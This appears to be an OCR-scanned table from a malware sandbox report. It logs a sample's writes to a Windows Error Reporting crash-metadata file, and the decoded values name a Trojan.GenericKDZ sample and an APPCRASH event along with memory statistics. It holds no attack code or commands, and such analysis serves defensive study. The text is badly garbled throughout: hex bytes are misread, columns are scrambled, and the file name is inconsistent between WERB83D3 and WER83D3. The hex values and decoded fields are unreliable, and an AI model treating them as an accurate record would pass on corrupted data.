3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 3 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 005000 72006f <.P.r.o.c.e.s.s.lnform.a. success orwait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 0063 0065007300 t.i.0.n.>.

73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>3.4.4.0.<./.P.i.d.>. success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 3e 00 33 00 34 00

34 00 30 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 4 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 70 3c0049006d 0061 <..m.a.g.e.N.a.m.e.>.e.x.p success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 0067 0065 004e 00 .lor.e.r..ex.e.

61 00 6d 00 65 00 3e <./l.m.a.g.e.N.am.e.>.
00 65 00 78 00 70 00

6¢ 00 6f 00 72 00 65

00 72 00 2e 00 65 00

78 00 65 00 3c 00 2f

00 49 00 6d 00 61 00

67 00 65 00 4e 00 61

00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 4 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 90 3c0043006d0064 <.C.m.d.L.i.n.e.S..g.n.a.tu success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 4c 00 69 00 6e 00 .r.e.>.8.0.0.0.4.0.0.5.

65 005300690067 <./.C.m.
006e 0061007400 d.L.i.n.e.S.i.g.nature.>.
7500 72 00 65 00 3e

00 38 00 30 00 30 00

30 00 34 00 30 00 30

00 35 00 3c 00 2f 00

43 00 6d 00 64 00 4c

00 69 00 6e 00 65 00

53 00 69 00 67 00 6e

00 61 00 74 00 75 00

72 00 65 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 4

unknown 2

unknown 48

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 90

unknown 4

unknown 2

Length Value

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 3500 34 00 37
00 31 00 39 00 31 00
32 00 3c 00 2f 00 55
00 70 00 74 00 69 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
30 00 22 00 20 00 68
00 6f 00 73 00 74 00
3d 00 22 00 33 00 34
00 34 00 30 00 34 00
2200 3e 0030 00 3c
00 2f 00 57 00 6f 00
7700 36 00 34 00 3e
00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 34
00 32 00 39 00 34 00
39 00 36 00 37 00 32
00 39 00 35 00 3c 00
2f 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00

0d 00 0a 00

09 00

Ascii

<.U.p.tim.e>54.7.19.1.
2.</.U.p.tim.e.>.

<W.o.w.6.4.
.g.u.es.t.=".0."
.h.0.s.t.=.".3.4.4.0.4.".>.0.
<./W.o.w.6.4.>.

<.l.p.t.E.n.a.b.l.e.d.>.0.</.
l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.
m.a.t.i.o.n.>.

<.P.e.ak.V.irtualS.z.
e.>.4.2.9.4.9.6.7.2.9.5.
<./.P.
eak.\VirtualS.ize>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

4

1

1

5

Source

Address Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 74

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

unknown 100

unknown 4

unknown 2

unknown 84

unknown 4

unknown 2

unknown 114

Value

3¢ 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 34 00
3200 39 00 34 00 39
00 36 00 37 00 32 00
39 00 35 00 3c 00 2f
00 56 00 69 00 72 00
7400 7500 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 35 00 34
00 37 00 30 00 37 00
3c 00 2f 00 50 00 61
00 67 00 65 00 46 00
61 00 75 00 6¢ 00 74
00 43 00 6f 00 75 00
6e 00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e
00 67 00 53 00 65 00
74 0053 0069 00 7a
00 65 00 3e 00 31 00
3000 37 00 31 00 34
00 33 00 31 00 36 00
38 00 3c 00 2f 00 50

00 65 00 61 00 6b 00
57 00 6f 00 72 00 6b

00 69 00 6e 00 67 00
53 00 65 00 74 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 72
00 6b 00 69 00 6e 00
67 00 53 00 65 00 74
00 53 00 69 00 7a 00
65 00 3e 00 31 00 30
00 31 00 3500 35 00
320031003200 38
00 3c 00 2f 00 57 00
6f 00 72 00 6b 00 69
00 6e 00 67 00 53 00
65 00 74 00 53 00 69
00 7a 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00 39 00 38 00 37 00
33 00 36 00 38 00 3c
00 2f 00 51 00 75 00
6f 00 74 00 61 00 50
00 65 00 61 00 6b 00
50 00 61 00 67 00 65
00 64 00 50 00 6f 00
6f 00 6¢ 00 55 00 73
00 61 00 67 00 65 00
3e 00

Ascii

<VirtualS.iz.e>4.2.
9.4.9.6.7.2.9.5.<./.V.irtu.

alS.ize>.

Completion

success or wait

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.o.u.n.t. success or wait

>.5.4.7.0.7.
<./.P.a.g.e.F.a.u.
L.t.C.o.u.n.t.>.

success or wait

success or wait

<.P.e.a.k.W.o.rk.i.n.g.S.e.t success or wait

.S.i.z.e.>.1.0.7.1.4.3.1.6.8.

<.

/.P.e.a.k.W.o.rk.i.n.g.S.e.t.

S.i.z.e>.

success or wait

success or wait

<.W.o.rk.i.n.g.S.e.t.S.i.z.e. success or wait

>.1.0.1.55.2.1.2.8.
<./.W.o.r.
ki.n.g.S.etS.i.z.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.P.a.g.e. success or wait

d.

P.o.0.lU.s.a.g.e.>.9.8.7.3.

6.8.

<./.Q.u.o.t.a.P.e.ak.P.a.g.

e.d.P.o.0o.l.Us.a.g.e>.

Count Address

1

Source
Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 4

unknown 2

unknown 98

unknown 4

unknown 2

unknown 124

unknown 4

unknown 2

unknown 108

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

Value

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 39
00 34 00 30 00 39 00
30 00 34 00 3c 00 2f
00 51 00 75 00 6f 00
7400 61 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
37 00 3500300033
00 32 00 3c 00 2f 00
51 00 75 00 6f 00 74
00 61 00 50 00 65 00
61 00 6b 00 4e 00 6f
00 6e 00 50 00 61 00
67 00 65 00 64 00 50
00 6f 00 6f 00 6¢ 00
5500 73 00 61 00 67
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 31 00 38 00 38 00
30 00 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 00 61 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 61 00 67
00 65 00 66 00 69 00
6¢ 00 65 00 55 00 73
00 61 00 67 00 65 00
3e 00 33 00 30 00 31
00 32 00 31 00 39 00
38 00 34 00 3c 00 2f
00 50 00 61 00 67 00
65 00 66 00 69 00 6¢
00 65 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

Ascii Completion

success or wait

success or wait

<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait
l.U.s.a.g.e.>.9.4.0.9.0.4.

<./.Q.

u.o.t.a.P.a.g.e.d.P.o.0.l.U.s

.a.g.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait
a.

g.e.d.P.o.0l.Us.a.g.e>.7.

5.0.3.2.

<./.Q.u.o.t.a.P.e.a.k.N.
o.n.P.a.g.e.d.P.o.0.l.U.s.a.

g.e>.

success or wait

success or wait

<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait
P.

0.0..U.s.a.g.e.>.7.1.8.8.0.

<.

/.Q.u.o.t.a.N.o.n.P.a.g.e.d.
P.o.0.l.Us.a.g.e.>.

success or wait

success or wait

<.P.a.g.efile.U.s.a.g.e.>. success or wait
3.0.1.2.1.9.8.4.

<./.P.a.g.ef.

ile.Us.a.g.e>.

success or wait

success or wait

Count Address

1

5

1

1

5

1

1

5

1

Source
Symbol
6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 94 3c 005000650061 <.P.e.ak.P.ag.ef.ile.U.s. success orwait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 00 6b 0050 00 61 00 a.g.e.>.3.7.5.9.3.0.8.8.

67 00 6500 66 0069 <./.P.
00 6c 00 65005500 e.a.k.P.a.g.efile.U.s.ag.
73 006100670065 e.>.
00 3e 00 33 00 37 00

3500 39 00 33 00 30

00 38 00 38 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 50 00 61 00

67 00 65 00 66 00 69

00 6¢ 00 65 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74 3c005000720069 <.P.rivate.U.s.a.g.e.>3. success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 00760061007400 0.1.2.1.9.8.4.</P.riv.a.t.

65005500730061 e.Us.a.g.e>.
00 67 00 65 00 3e 00
33 003000310032
00 31 00 39 00 38 00
34 00 3c 00 2f 00 50
00 72 00 69 00 76 00

61 00 74 00 65 00 55

00 73 00 61 00 67 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.\V.m.l.n.f.o. success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait & 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.r.o.c.e.s.s.lnfo.rm. success orwait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 32 3c002f00500061 <./P.are.ntP.ro.c.e.s.s. success orwait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 00 72 00 65 00 6e 00 >.

7400 50 00 72 00 6f
00 63 00 65 00 73 00

7300 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.r.o.c.e.s.s.l.nfo.rm. success orwait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c 0050007200 6f <.P.r.o.b.l.e.m.S.i.g.n.a.t.u. success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 62 00 6c 00 6500 r.e.s.>.

6d 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 62 3c 004500760065 <.E.v.e.ntT.y.p.e>AP.P. success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 006e 0074005400 C.R.AS.H.

7900700065003e <./Ev.e.ntTy.p.e>.
00 41 00 50 00 50 00

430052 00 41 00 53

00 48 00 3c 00 2f 00

45 00 76 00 65 00 6e

00 74 00 54 00 79 00

70 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 8 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 16 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 150 3c005000610072 <.P.ar.am.e.te.r.0.>.S.e.c success or wait 8 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 00 61 00 6d 00 6500 .u.r.it.e.l.n.f.o..c.om..T.

74006500720030 r.0j.a.n..G.e.ne.r.icKD.
003e 0053006500 Z..7.3.1.2.4..1.9.1.7.0...e.
63007500720069 x.e</P.aram.e.te.r.0.>
00 74 00 65 00 49 00
6e 00 66 00 6f 00 2e
00 63 00 6f 00 6d 00
2e 00 54 00 72 00 6f
00 6a 00 61 00 6e 00
2e 00 47 00 65 00 6e
00 65 00 72 00 69 00
63 00 4b 00 44 00 5a
00 2e 00 37 00 33 00
3100 32 00 34 00 2e
00 31 00 39 00 31 00
37 00 30 00 2e 00 65
00 78 00 65 00 3c 00
2f 00 50 00 61 00 72
00 61 00 6d 00 65 00
7400 65 00 72 00 30

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c002f00500072 <./P.rob.lem.sS.g.n.at success orwait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 6f 00 62 00 6c 00  u.r.e.s.>.

65 00 6d 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c00440079006e <.D.y.n.a.m.i.c.S.i.g.n.a.t.u. success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 0061 006d 006900 r.e.s.>.

63 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 6 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 12 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c005000610072 <.P.aram.e.te.r.1.>1.0.. success orwait 6 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 0061 006d 006500 0..1.7.1.3.4...2...0...0...2.

74006500720031 5.6..4.8.</P.aram.e.te.
003e 0031003000 r.1.>.
2e 00 30 00 2e 00 31

00 37 00 31 00 33 00

34 00 2e 00 32 00 2e

00 30 00 2e 00 30 00

2e 00 32 00 35 00 36

00 2e 00 34 00 38 00

3c 00 2f 00 50 00 61

00 72 00 61 00 6d 00

65 00 74 00 65 00 72

00 31 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 40

unknown 4

unknown 2

unknown 38

unknown 4

unknown 2

unknown 94

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

unknown 96

unknown 4

unknown 2

Length Value

3c 00 2f 00 44 00 79
00 6e 00 61 00 6d 00
69 00 63 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3¢ 005300790073
00 74 00 65 00 6d 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

3c 00 4d 00 49 00 44
00 3e 00 41 00 32 00
4100 42 00 35 00 32
00 36 00 41 00 2d 00
44 00 33 00 38 00 44
00 2d 00 34 00 46 00
4300 39 00 2d 00 38
00 42 00 41 00 30 00
2d 00 45 00 33 00 34
